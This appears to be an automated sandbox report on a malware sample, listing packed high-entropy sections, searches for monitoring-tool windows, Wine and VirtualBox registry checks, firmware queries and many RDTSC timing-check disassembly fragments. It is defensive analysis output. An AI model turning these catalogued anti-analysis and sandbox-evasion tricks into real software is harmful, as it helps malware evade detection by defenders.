Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C5E56B push ebp; mov dword ptr [esp], 39DA646Ah	0_2_05C5E4E5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C5E56B push esi; mov dword ptr [esp], esp	0_2_05C5E59E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C60D68 push esi; mov dword ptr [esp], ebx	0_2_05C634C1

Source: file.exe	Static PE information: section name: entropy: 7.987539662609578
Source: file.exe	Static PE information: section name: ndwgcelf entropy: 7.953821944364331

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCB3F1 second address: DCB405 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FC87074E0CCh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3F21F second address: F3F223 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3F223 second address: F3F231 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007FC87074E0C6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3F231 second address: F3F24B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC870BD8066h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3F24B second address: F3F250 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3F250 second address: F3F256 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3F3AB second address: F3F3B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3F3B1 second address: F3F3B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3F3B5 second address: F3F3B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3F3B9 second address: F3F3DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC870BD8069h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F40F3F second address: F40F5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC87074E0D7h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F41091 second address: F410CF instructions: 0x00000000 rdtsc 0x00000002 je 00007FC870BD8069h 0x00000008 jmp 00007FC870BD8063h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 push eax 0x00000014 push edx 0x00000015 push ecx 0x00000016 jmp 00007FC870BD8069h 0x0000001b pop ecx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F410CF second address: F410D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F410D4 second address: F4117A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FC870BD8056h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [eax] 0x0000000f pushad 0x00000010 pushad 0x00000011 jmp 00007FC870BD8060h 0x00000016 jmp 00007FC870BD8063h 0x0000001b popad 0x0000001c jnl 00007FC870BD806Ch 0x00000022 jmp 00007FC870BD8066h 0x00000027 popad 0x00000028 mov dword ptr [esp+04h], eax 0x0000002c js 00007FC870BD805Eh 0x00000032 pop eax 0x00000033 jmp 00007FC870BD8069h 0x00000038 mov ecx, dword ptr [ebp+122D394Dh] 0x0000003e push 00000003h 0x00000040 xor dword ptr [ebp+122D3643h], esi 0x00000046 push 00000000h 0x00000048 mov edi, 7A714EFDh 0x0000004d push 00000003h 0x0000004f or dword ptr [ebp+122D310Dh], ebx 0x00000055 push B38C2760h 0x0000005a push eax 0x0000005b push edx 0x0000005c push eax 0x0000005d push edx 0x0000005e pushad 0x0000005f popad 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4117A second address: F41180 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F41180 second address: F41217 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC870BD805Dh 0x00000008 jmp 00007FC870BD805Ch 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 xor dword ptr [esp], 738C2760h 0x00000017 push 00000000h 0x00000019 push edi 0x0000001a call 00007FC870BD8058h 0x0000001f pop edi 0x00000020 mov dword ptr [esp+04h], edi 0x00000024 add dword ptr [esp+04h], 00000018h 0x0000002c inc edi 0x0000002d push edi 0x0000002e ret 0x0000002f pop edi 0x00000030 ret 0x00000031 movsx edx, bx 0x00000034 jmp 00007FC870BD8063h 0x00000039 lea ebx, dword ptr [ebp+12449E5Ch] 0x0000003f push 00000000h 0x00000041 push edx 0x00000042 call 00007FC870BD8058h 0x00000047 pop edx 0x00000048 mov dword ptr [esp+04h], edx 0x0000004c add dword ptr [esp+04h], 0000001Ch 0x00000054 inc edx 0x00000055 push edx 0x00000056 ret 0x00000057 pop edx 0x00000058 ret 0x00000059 add esi, dword ptr [ebp+122D3935h] 0x0000005f push eax 0x00000060 jng 00007FC870BD8064h 0x00000066 push eax 0x00000067 push edx 0x00000068 push eax 0x00000069 push edx 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F41217 second address: F4121B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F413A5 second address: F4140A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push esi 0x00000008 jmp 00007FC870BD8062h 0x0000000d pop esi 0x0000000e popad 0x0000000f push eax 0x00000010 push ecx 0x00000011 pushad 0x00000012 push edx 0x00000013 pop edx 0x00000014 jne 00007FC870BD8056h 0x0000001a popad 0x0000001b pop ecx 0x0000001c nop 0x0000001d mov dword ptr [ebp+122D1BDFh], ecx 0x00000023 or dword ptr [ebp+122D3502h], edi 0x00000029 push 00000000h 0x0000002b call 00007FC870BD8059h 0x00000030 jmp 00007FC870BD805Ch 0x00000035 push eax 0x00000036 jng 00007FC870BD805Eh 0x0000003c js 00007FC870BD8058h 0x00000042 pushad 0x00000043 popad 0x00000044 mov eax, dword ptr [esp+04h] 0x00000048 push eax 0x00000049 push edx 0x0000004a push esi 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4140A second address: F4140F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4140F second address: F41426 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c jbe 00007FC870BD8060h 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F41426 second address: F41435 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp+04h], eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F41435 second address: F4149C instructions: 0x00000000 rdtsc 0x00000002 jns 00007FC870BD8064h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push 00000000h 0x0000000d push eax 0x0000000e call 00007FC870BD8058h 0x00000013 pop eax 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 add dword ptr [esp+04h], 00000018h 0x00000020 inc eax 0x00000021 push eax 0x00000022 ret 0x00000023 pop eax 0x00000024 ret 0x00000025 mov ecx, dword ptr [ebp+122D38B5h] 0x0000002b push 00000003h 0x0000002d xor dh, FFFFFFC6h 0x00000030 cld 0x00000031 push 00000000h 0x00000033 mov dx, 9573h 0x00000037 mov dword ptr [ebp+122D1CBEh], ebx 0x0000003d push 00000003h 0x0000003f pushad 0x00000040 mov si, ax 0x00000043 popad 0x00000044 push B434EB12h 0x00000049 pushad 0x0000004a push edi 0x0000004b pushad 0x0000004c popad 0x0000004d pop edi 0x0000004e pushad 0x0000004f pushad 0x00000050 popad 0x00000051 push eax 0x00000052 push edx 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4149C second address: F414CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 add dword ptr [esp], 0BCB14EEh 0x0000000d jg 00007FC87074E0C6h 0x00000013 mov edx, dword ptr [ebp+122D3B31h] 0x00000019 lea ebx, dword ptr [ebp+12449E70h] 0x0000001f pushad 0x00000020 sub si, 5E76h 0x00000025 mov esi, dword ptr [ebp+122D388Dh] 0x0000002b popad 0x0000002c xchg eax, ebx 0x0000002d pushad 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F414CE second address: F414D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F61DBC second address: F61DC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F61DC1 second address: F61DDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FC870BD8056h 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FC870BD805Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2FD9F second address: F2FDB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007FC87074E0CCh 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2FDB9 second address: F2FDBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6042F second address: F60433 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F60433 second address: F6043D instructions: 0x00000000 rdtsc 0x00000002 je 00007FC870BD805Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F606BC second address: F606D3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007FC87074E0CFh 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F60DA8 second address: F60DB7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC870BD805Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5585D second address: F55878 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC87074E0D6h 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F55878 second address: F558BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC870BD8069h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jc 00007FC870BD8082h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FC870BD8060h 0x00000016 jmp 00007FC870BD8060h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2AD57 second address: F2AD5D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2AD5D second address: F2AD63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F61918 second address: F6195A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC87074E0D2h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ecx 0x0000000c push ecx 0x0000000d push edi 0x0000000e jmp 00007FC87074E0D4h 0x00000013 jmp 00007FC87074E0CEh 0x00000018 pop edi 0x00000019 push eax 0x0000001a push edx 0x0000001b push edi 0x0000001c pop edi 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6195A second address: F6195E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F65592 second address: F655A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC87074E0CFh 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F67CA8 second address: F67CAD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6D50E second address: F6D51A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FC87074E0C6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6E8A1 second address: F6E8A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6ED7D second address: F6ED81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6ED81 second address: F6ED9A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC870BD805Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jbe 00007FC870BD8056h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6F6B5 second address: F6F6CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC87074E0CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ebx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6F7BE second address: F6F7C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6F7C4 second address: F6F7C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6F8DB second address: F6F8E9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007FC870BD8056h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6FAD9 second address: F6FADF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6FADF second address: F6FAE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6FAE4 second address: F6FAE9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7004E second address: F70052 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F70052 second address: F70069 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC87074E0D3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F71CA1 second address: F71CA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F71CA7 second address: F71CC3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC87074E0CCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f je 00007FC87074E0C6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F726D7 second address: F726E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F726E0 second address: F726E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F72417 second address: F72425 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FC870BD8056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F726E4 second address: F726E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7320A second address: F73265 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC870BD8064h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FC870BD8062h 0x0000000f nop 0x00000010 xor dword ptr [ebp+122D1BACh], edx 0x00000016 push 00000000h 0x00000018 jng 00007FC870BD806Ah 0x0000001e sbb esi, 3658BF8Eh 0x00000024 push 00000000h 0x00000026 xchg eax, ebx 0x00000027 pushad 0x00000028 push ebx 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F72FB4 second address: F72FB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F73265 second address: F73282 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jl 00007FC870BD8058h 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jng 00007FC870BD805Ch 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F73282 second address: F73289 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F73CB9 second address: F73D25 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jnc 00007FC870BD8056h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d jmp 00007FC870BD805Eh 0x00000012 push 00000000h 0x00000014 push ebx 0x00000015 and di, 8C44h 0x0000001a pop edi 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push ebx 0x00000020 call 00007FC870BD8058h 0x00000025 pop ebx 0x00000026 mov dword ptr [esp+04h], ebx 0x0000002a add dword ptr [esp+04h], 0000001Bh 0x00000032 inc ebx 0x00000033 push ebx 0x00000034 ret 0x00000035 pop ebx 0x00000036 ret 0x00000037 mov edi, dword ptr [ebp+122D383Dh] 0x0000003d push eax 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 jmp 00007FC870BD8068h 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F73A33 second address: F73A4F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jp 00007FC87074E0C6h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e pushad 0x0000000f jmp 00007FC87074E0CBh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F73D25 second address: F73D2B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F746E3 second address: F746E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F746E7 second address: F746F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7511B second address: F75120 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F75120 second address: F75146 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 mov esi, dword ptr [ebp+122D3949h] 0x0000000e push 00000000h 0x00000010 jno 00007FC870BD8059h 0x00000016 push 00000000h 0x00000018 mov dword ptr [ebp+1245CD12h], edi 0x0000001e xchg eax, ebx 0x0000001f push eax 0x00000020 push ebx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F76CA2 second address: F76CC7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC87074E0D6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jbe 00007FC87074E0C6h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F76CC7 second address: F76CCB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2E1CC second address: F2E1D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2E1D5 second address: F2E1F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC870BD8060h 0x00000009 jno 00007FC870BD8056h 0x0000000f popad 0x00000010 jbe 00007FC870BD8062h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2E1F8 second address: F2E1FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
